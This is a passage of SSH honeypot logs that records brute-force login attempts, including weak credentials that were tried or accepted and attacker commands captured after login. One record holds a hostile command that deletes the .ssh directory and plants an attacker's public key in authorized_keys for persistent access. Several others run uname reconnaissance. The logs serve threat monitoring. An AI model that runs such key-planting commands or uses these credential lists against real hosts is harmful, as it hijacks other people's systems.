  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "liyang",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

207.175.94.137

2026-09-24 06:36:53.633641 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / admin

Record ID: ac5667e98140

Client Version: SSH-2.0-Go

Engagement Duration: 0.7s

HASSH Fingerprint: dde267e50f82fcc16a7e1e7b59b8af71

{
  "id": "ac5667e98140",
  "src_ip": "207.175.94.137",
  "start_time": "2026-09-24T06:36:53.633641Z",
  "end_time": "2026-09-24T06:36:54.359453Z",
  "duration": "0.7",
  "version": "SSH-2.0-Go",
  "hassh": "dde267e50f82fcc16a7e1e7b59b8af71",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "admin"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

207.175.94.137

2026-09-24 06:36:53.210787 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 48f4b4e4d60b

Client Version: SSH-2.0-Fingerprintx-SSH2

Engagement Duration: 7.7s

HASSH Fingerprint: 4e066189c3bbeec38c99b1855113733a

{
  "id": "48f4b4e4d60b",
  "src_ip": "207.175.94.137",
  "start_time": "2026-09-24T06:36:53.210787Z",
  "end_time": "2026-09-24T06:37:00.887718Z",
  "duration": "7.7",
  "version": "SSH-2.0-Fingerprintx-SSH2",
  "hassh": "4e066189c3bbeec38c99b1855113733a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

109.160.32.103

2026-09-24 06:36:49.779986 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: runner

Record ID: 1f79215d48c5

Client Version: SSH-2.0-Go

Engagement Duration: 2.1s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "1f79215d48c5",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:36:49.779986Z",
  "end_time": "2026-09-24T06:36:51.863332Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "runner",
      "pass": "runner"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.103

2026-09-24 06:36:44.404962 UTC

RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / linux123456789

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 91265e16c95d

Client Version: SSH-2.0-Go

Engagement Duration: 2.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "91265e16c95d",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:36:44.404962Z",
  "end_time": "2026-09-24T06:36:47.023554Z",
  "duration": "2.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "linux123456789"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.103

2026-09-24 06:36:38.786284 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ymy

Record ID: f2b5419f0382

Client Version: SSH-2.0-Go

Engagement Duration: 2.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "f2b5419f0382",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:36:38.786284Z",
  "end_time": "2026-09-24T06:36:41.253591Z",
  "duration": "2.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "ymy",
      "pass": "1"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

171.244.39.95

2026-09-24 06:36:35.756122 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: f40615879d73

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "f40615879d73",
  "src_ip": "171.244.39.95",
  "start_time": "2026-09-24T06:36:35.756122Z",
  "end_time": "2026-09-24T06:36:37.046698Z",
  "duration": "1.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

171.244.39.95

2026-09-24 06:36:33.237223 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 226a928abd3a

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "226a928abd3a",
  "src_ip": "171.244.39.95",
  "start_time": "2026-09-24T06:36:33.237223Z",
  "end_time": "2026-09-24T06:36:35.554067Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.103

2026-09-24 06:36:33.160706 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: deployer

Record ID: c9777b5fd2a4

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "c9777b5fd2a4",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:36:33.160706Z",
  "end_time": "2026-09-24T06:36:34.991232Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "deployer",
      "pass": "deployer"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

171.244.39.95

2026-09-24 06:36:30.527627 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / 123456Qq@

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 48308d81db60

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 6.5s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "48308d81db60",
  "src_ip": "171.244.39.95",
  "start_time": "2026-09-24T06:36:30.527627Z",
  "end_time": "2026-09-24T06:36:37.049877Z",
  "duration": "6.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "123456Qq@"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

121.229.13.210

2026-09-24 06:36:29.997720 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: ba8a9d083ead

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "ba8a9d083ead",
  "src_ip": "121.229.13.210",
  "start_time": "2026-09-24T06:36:29.997720Z",
  "end_time": "2026-09-24T06:38:30.006923Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

109.160.32.103

2026-09-24 06:36:26.904905 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: pi

Record ID: 1c915faa90af

Client Version: SSH-2.0-Go

Engagement Duration: 2.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "1c915faa90af",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:36:26.904905Z",
  "end_time": "2026-09-24T06:36:29.229312Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "pi",
      "pass": "raspberry"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.103

2026-09-24 06:36:20.916886 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: esroot

Record ID: f29795766edb

Client Version: SSH-2.0-Go

Engagement Duration: 2.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "f29795766edb",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:36:20.916886Z",
  "end_time": "2026-09-24T06:36:23.189169Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "esroot",
      "pass": "esroot"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.103

2026-09-24 06:36:15.204595 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: operator

Record ID: 12b8707c4007

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "12b8707c4007",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:36:15.204595Z",
  "end_time": "2026-09-24T06:36:17.252618Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "operator",
      "pass": "operator9"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.103

2026-09-24 06:36:07.892552 UTC

RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / root@123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 67bfd6647c57

Client Version: SSH-2.0-Go

Engagement Duration: 3.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "67bfd6647c57",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:36:07.892552Z",
  "end_time": "2026-09-24T06:36:11.496833Z",
  "duration": "3.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "root@123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.103

2026-09-24 06:36:01.323275 UTC

RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / P@ssword123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 5ff35f878198

Client Version: SSH-2.0-Go

Engagement Duration: 2.1s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "5ff35f878198",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:36:01.323275Z",
  "end_time": "2026-09-24T06:36:03.444380Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "P@ssword123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.103

2026-09-24 06:35:54.534145 UTC

RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: test / passwd

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: b1fbdd561d41

Client Version: SSH-2.0-Go

Engagement Duration: 3.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "b1fbdd561d41",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:35:54.534145Z",
  "end_time": "2026-09-24T06:35:57.976230Z",
  "duration": "3.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "test",
    "pass": "passwd"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.103

2026-09-24 06:35:48.521832 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: odoo17

Record ID: 6508c12b6361

Client Version: SSH-2.0-Go

Engagement Duration: 3.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "6508c12b6361",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:35:48.521832Z",
  "end_time": "2026-09-24T06:35:52.014132Z",
  "duration": "3.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "odoo17",
      "pass": "odoo17"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}